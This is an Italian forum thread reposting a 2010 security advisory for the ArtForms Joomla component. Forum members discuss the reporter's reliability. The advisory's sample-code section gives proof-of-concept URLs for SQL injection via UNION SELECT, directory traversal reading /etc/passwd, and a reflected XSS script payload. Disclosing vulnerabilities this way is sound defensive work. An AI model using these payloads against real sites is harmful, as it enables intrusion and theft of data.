Joomla Component ArtForms com_artforms - Multiple Remote Vuln.

[jeckodevelopment]

ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities
Non si hanno ancora maggiori informazioni riguardo la vulnerabilità.
Il progetto non vede un rilascio da molto tempo, si consiglia di cercare una soluzione alternativa.

Codice: [Seleziona]

ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

Name ArtForms
Vendor http://joomlacode.org/gf/project/jartforms/
Versions Affected 2.1b7.2 RC2

Date 2010-07-07

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX

I. ABOUT THE APPLICATION
________________________

ArtForms is a popular Joomla component.
The ArtForms component is a package for an easy From
Generator for Joomla 1.0.xx. It allows you to generate
as much Forms as you like, you can define all fields
that you need and also make file upload and attachment
possible.

II. DESCRIPTION
_______________

Some parameters are not sanitised before being used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version 2.1b7.2 RC2.
Other versions may also be affected.

III. ANALYSIS
_____________

Summary:

A) Multiple SQL Injection
B) Directory Traversal
C) Reflected XSS

A) Multiple SQL Injection
_________________________

The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.

B) Directory Traversal
______________________

The l parameter in alikon/captcha.php is not properly
sanitised before being used to create a path for a file
that will be downloaded.This can be exploited to download
arbitrary files from local resources via directory
traversal attacks.

C) Reflected XSS
________________

The afmsg parameter is not properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.

IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT
1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT
1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT
1,2,3,4,5,6%23

B) Directory Traversal

http://site/path/components/com_artforms/assets/captcha/includes/alikon/
playcode.php?l=../../../../../../../../../../../../etc/passwd%00

C) Reflected XSS

index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</scri
pt>

V. FIX
______

[mau_develop]

questa non la proverò però mi sa di attendibile,...non so se si nota la differenza con le altre segnalazione dei pischelletti.
Non è che dietro questa c'è un genio, solamente uno che sa ciò che fa ed è capace di spiegartelo.

M.

[jeckodevelopment]

effettivamente, c'è da dire che le sue segnalazioni sono sempre abbastanza documentate e seguono questo standard di descrizione.
Forse una persona che segnala una vulnerabilità con la speranza che sia risolta, al contrario di quelli che scovano i problemi con degli script appositi e le segnalano per consentire a tutti di effettuare un attacco.